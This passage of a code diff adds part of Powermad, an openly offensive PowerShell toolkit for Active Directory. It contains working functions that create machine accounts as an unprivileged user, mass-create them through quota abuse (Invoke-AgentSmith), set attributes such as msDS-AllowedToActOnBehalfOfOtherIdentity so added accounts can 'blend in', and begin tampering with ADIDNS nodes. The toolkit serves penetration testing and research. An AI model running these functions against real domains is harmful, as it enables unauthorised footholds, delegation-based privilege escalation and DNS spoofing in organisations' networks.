"[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + if(!$directory_entry.InvokeGet("AccountDisabled")) + { + + try + { + $directory_entry.InvokeSet("AccountDisabled","True") + $directory_entry.SetInfo() + Write-Output "[+] Machine account $MachineAccount disabled" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + else + { + Write-Output "[-] Machine account $MachineAccount is already disabled" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Enable-MachineAccount +{ + <# + .SYNOPSIS + This function enables a machine account that was disabled through Disable-MachineAccount. This function should + be used with the same user that created the machine account. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function sets a machine account's AccountDisabled attribute to false. + + .PARAMETER Credential + PSCredential object that will be used to disable the machine account. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The username of the machine account that will be enabled. + + .EXAMPLE + Enable a machine account named test. + Enable-MachineAccount -MachineAccount test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + if($directory_entry.InvokeGet("AccountDisabled")) + { + + try + { + $directory_entry.InvokeSet("AccountDisabled","False") + $directory_entry.SetInfo() + Write-Output "[+] Machine account $MachineAccount enabled" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + else + { + Write-Output "[-] Machine account $MachineAccount is already enabled" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Get-MachineAccountAttribute +{ + <# + .SYNOPSIS + This function can return values populated in machine account attributes. + + .DESCRIPTION + This function is primarily for use with New-MachineAccount and Set-MachineAccountAttribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain. This parameter is mandatory on a non-domain attached system. Note this parameter + requires a DNS domain name and not a NetBIOS version. + + .PARAMETER DomainController + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER MachineAccount + The username of the machine account that will be modified. + + .PARAMETER Attribute + The machine account attribute. + + .EXAMPLE + Get the value of the description attribute from a machine account named test. + Get-MachineAccountAttribute -MachineAccount test -Attribute description + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $output = $directory_entry.InvokeGet($Attribute) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Get-MachineAccountCreator +{ + <# + .SYNOPSIS + This function leverages the ms-DS-CreatorSID property on machine accounts to return a list + of usernames or SIDs and the associated machine account. The ms-DS-CreatorSID property is only + populated when a machine account is created by an unprivileged user. Note that SIDs will be returned + over usernames if SID to username lookups fail through System.Security.Principal.SecurityIdentifier. + + .DESCRIPTION + This function can be used to see how close a user is to a ms-DS-MachineAccountQuota before + using New-MachineAccount. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Credential + PSCredential object that will be used enumerate machine account creators. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .EXAMPLE + Get the ms-DS-CreatorSID values for a domain. + Get-MachineAccountCreator + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + try + { + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + $machine_account_searcher = New-Object DirectoryServices.DirectorySearcher + $machine_account_searcher.SearchRoot = $directory_entry + $machine_account_searcher.PageSize = 1000 + $machine_account_searcher.Filter = '(&(ms-ds-creatorsid=*))' + $machine_account_searcher.SearchScope = 'Subtree' + $machine_accounts = $machine_account_searcher.FindAll() + $creator_object_list = @() + + ForEach($account in $machine_accounts) + { + $creator_SID_object = $account.properties."ms-ds-creatorsid" + + if($creator_SID_object) + { + $creator_SID = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID_object[0],0)).Value + $creator_object = New-Object PSObject + + try + { + + if($Credential) + { + $creator_account = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/",$Credential.UserName,$credential.GetNetworkCredential().Password) + $creator_account_array = $($creator_account.distinguishedName).Split(",") + $creator_username = $creator_account_array[($creator_account_array.Length - 2)].SubString(3).ToUpper() + "\" + $creator_account_array[0].SubString(3) + } + else + { + $creator_username = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID)).Translate([System.Security.Principal.NTAccount]).Value + } + + Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_username + } + catch + { + Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_SID + } + + Add-Member -InputObject $creator_object -MemberType NoteProperty -Name "Machine Account" $account.properties.name[0] + $creator_object_list += $creator_object + $creator_SID_object = $null + } + + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + Write-Output $creator_object_list | Sort-Object -property @{Expression = {$_.Creator}; Ascending = $false}, "Machine Account" | Format-Table -AutoSize + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Invoke-AgentSmith +{ + <# + .SYNOPSIS + This function leverages New-MachineAccount to recursively create as as many machine accounts as possible + from a single unprivileged account through MachineAccountQuota. With a default MachineAccountQuota of 10, + the most common result will be 110 accounts. This is due to the transitive quota of Q + Q * 1 where Q + equals the MachineAccountQuota setting. The transitive quota can often be exceeded to the total number of + created accounts can vary. I wouldn't recommend running this one on a client network unless you have a + good reason. + + .DESCRIPTION + This function leverages New-MachineAccount to recursively create as as many machine accounts as possible + from a single unprivileged account through MachineAccountQuota. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Credential + PSCredential object that will be used enumerate machine account creators. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Domain + The targeted domain in netBIOS format. This will be used to create the PSCredential object as the function cycles + through the machine accounts. + + .PARAMETER MachineAccountPrefix + The prefix for the machine account names. The prefix will be incremented by one for each account creation attempt. + + .PARAMETER MachineAccountQuota + The domain's MachineAccountQuota setting. + + .PARAMETER NoWarning + Switch to remove the warning prompt. + + .PARAMETER Password + The securestring of the password for the machine accounts. + + .PARAMETER Sleep + The delay in milliseconds between account creation attempts. + + .EXAMPLE + Invoke-AgentSmith -MachineAccountPrefix test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$NetBIOSDomain, + [parameter(Mandatory=$false)][String]$MachineAccountPrefix = "AgentSmith", + [parameter(Mandatory=$false)][Int]$MachineAccountQuota = 10, + [parameter(Mandatory=$false)][Int]$Sleep = 0, + [parameter(Mandatory=$false)][System.Security.SecureString]$Password, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(Mandatory=$false)][Switch]$NoWarning, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + $i = 0 + $j = 1 + $k = 1 + $MachineAccountQuota-- + + if(!$NoWarning) + { + $confirm_invoke = Read-Host -Prompt "Are you sure you want to do this? (Y/N)" + } + + if(!$Password) + { + $password = Read-Host -Prompt "Enter a password for the new machine accounts" -AsSecureString + } + + if(!$NetBIOSDomain) + { + + try + { + $NetBIOSDomain = (Get-ChildItem -path env:userdomain).Value + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if($confirm_invoke -eq 'Y' -or $NoWarning) + { + + :main_loop while($i -le $MachineAccountQuota) + { + $MachineAccount = $MachineAccountPrefix + $j + + try + { + $output = New-MachineAccount -MachineAccount $MachineAccount -Credential $Credential -Password $Password -Domain $Domain -DomainController $DomainController -DistinguishedName $DistinguishedName + + if($output -like "*The server cannot handle directory requests*") + { + Write-Output "[-] Limit reached with $account" + $switch_account = $true + $j-- + } + else + { + Write-Output $output + $success = $j + } + + } + catch + { + + if($_.Exception.Message -like "*The supplied credential is invalid*") + { + + if($j -gt $success) + { + Write-Output "[-] Machine account $account was not added" + Write-Output "[-] No remaining machine accounts to try" + Write-Output "[+] Total machine accounts added = $($j - 1)" + break main_loop + } + + $switch_account = $true + $j-- + } + else + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + + if($i -eq 0) + { + $account = "$NetBIOSDomain\$MachineAccountPrefix" + $k + "$" + } + + if($i -eq $MachineAccountQuota -or $switch_account) + { + Write-Output "[*] Trying machine account $account" + $credential = New-Object System.Management.Automation.PSCredential ($account, $password) + $i = 0 + $k++ + $switch_account = $false + } + else + { + $i++ + } + + $j++ + + Start-Sleep -Milliseconds $Sleep + } + + } + else + { + Write-Output "[-] Function exited without adding machine accounts" + } + +} + +function New-MachineAccount +{ + <# + .SYNOPSIS + This function adds a machine account with a specified password to Active Directory through an encrypted LDAP + add request. By default standard domain users can add up to 10 systems to AD (see ms-DS-MachineAccountQuota). + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + The main purpose of this function is to leverage the default ms-DS-MachineAccountQuota attribute setting which + allows all domain users to add up to 10 computers to a domain. The machine account and HOST SPNs are added + directly through an LDAP connection to a domain controller and not by attaching the host system to Active + Directory. This function does not modify the domain attachment and machine account associated with the host + system. + + Note that you will not be able to remove the account without elevating privilege. You can however disable the + account as long as you maintain access to the account used to create the machine account. + + .PARAMETER Credential + PSCredential object that will be used to create the machine account. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER MachineAccount + The machine account that will be added. + + .PARAMETER Password + The securestring of the password for the machine account. + + .EXAMPLE + Add a machine account named test. + New-MachineAccount -MachineAccount test + + .EXAMPLE + Add a machine account named test with a password of Summer2018!. + $machine_account_password = ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force + New-MachineAccount -MachineAccount test -Password $machine_account_password + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$false)][System.Security.SecureString]$Password, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") + + if(!$Password) + { + $password = Read-Host -Prompt "Enter a password for the new machine account" -AsSecureString + } + + $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password) + $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR) + + if(!$DomainController -or !$Domain) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + $Domain = $Domain.ToLower() + $machine_account = $MachineAccount + + if($MachineAccount.EndsWith('$')) + { + $sam_account = $machine_account + $machine_account = $machine_account.SubString(0,$machine_account.Length - 1) + } + else + { + $sam_account = $machine_account + "$" + } + + Write-Verbose "[+] SAMAccountName = $sam_account" + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + $password_cleartext = [System.Text.Encoding]::Unicode.GetBytes('"' + $password_cleartext + '"') + $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389) + + if($Credential) + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential()) + } + else + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) + } + + $connection.SessionOptions.Sealing = $true + $connection.SessionOptions.Signing = $true + $connection.Bind() + $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest + $request.DistinguishedName = $distinguished_name + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$sam_account)) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","4096")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$machine_account.$Domain")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$machine_account.$Domain", + "RestrictedKrbHost/$machine_account.$Domain","HOST/$machine_account","RestrictedKrbHost/$machine_account")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$password_cleartext)) > $null + Remove-Variable password_cleartext + + try + { + $connection.SendRequest($request) > $null + Write-Output "[+] Machine account $MachineAccount added" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + + if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*') + { + Write-Output "[!] User may have reached ms-DS-MachineAccountQuota limit" + } + + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Remove-MachineAccount +{ + <# + .SYNOPSIS + This function removes a machine account with a privileged account. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + Machine accounts added with MachineAccountQuote cannot be deleted with an unprivileged user. Although users + can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is + just left in a disabled state. This function provides the ability to delete a machine account once a + privileged account has been obtained. + + .PARAMETER Credential + PSCredential object that will be used to delete the ADIDNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The machine account that will be removed. + + .EXAMPLE + Remove a machine account named test with domain admin credentials. + Remove-MachineAccount -MachineAccount test -Credential $domainadmin + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.psbase.DeleteTree() + Write-Output "[+] Machine account $MachineAccount removed" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Set-MachineAccountAttribute +{ + <# + .SYNOPSIS + This function can populate an attribute for an account that was added through New-MachineAccount. Write + access to the attribute is required. This function should be used with the same user that created the + machine account. + + .DESCRIPTION + The user account that creates a machine account is granted write access to some attributes. These attributes + can be leveraged to help an added machine account blend in better or change values that were restricted by + validation when the account was created. + + Here is a list of some of the usual write access enabled attributes: + + AccountDisabled + description + displayName + DnsHostName + ServicePrincipalName + userParameters + userAccountControl + msDS-AdditionalDnsHostName + msDS-AllowedToActOnBehalfOfOtherIdentity + SamAccountName + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Append + Switch: Appends a value rather than overwriting. + + .PARAMETER Credential + PSCredential object that will be used to modify the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The username of the machine account that will be modified. + + .PARAMETER Attribute + The machine account attribute. + + .PARAMETER Value + The machine account attribute value. + + .EXAMPLE + Set the description attribute to a value of "test value" on a machine account named test. + Set-MachineAccountAttribute -MachineAccount test -Attribute description -Value "test value" + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$true)]$Value, + [parameter(Mandatory=$false)][Switch]$Append, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + + if($Append) + { + $directory_entry.$Attribute.Add($Value) > $null + $directory_entry.SetInfo() + Write-Output "[+] Machine account $machine_account attribute $Attribute appended" + } + else + { + $directory_entry.InvokeSet($Attribute,$Value) + $directory_entry.SetInfo() + Write-Output "[+] Machine account $machine_account attribute $Attribute updated" + } + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +#endregion + +#region begin DNS Functions + +function Disable-ADIDNSNode +{ + <# + .SYNOPSIS + This function can tombstone an ADIDNS node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function deletes a DNS record by setting an ADIDNS node's dnsTombstoned attribute to 'True' and the + dnsRecord attribute to a zero type array. Note that the node remains in AD. + + .PARAMETER Credential + PSCredential object that will be used to tombstone the DNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Tombstone a wildcard record. + Disable-ADIDNSNode -Node * + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + try + { + $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object 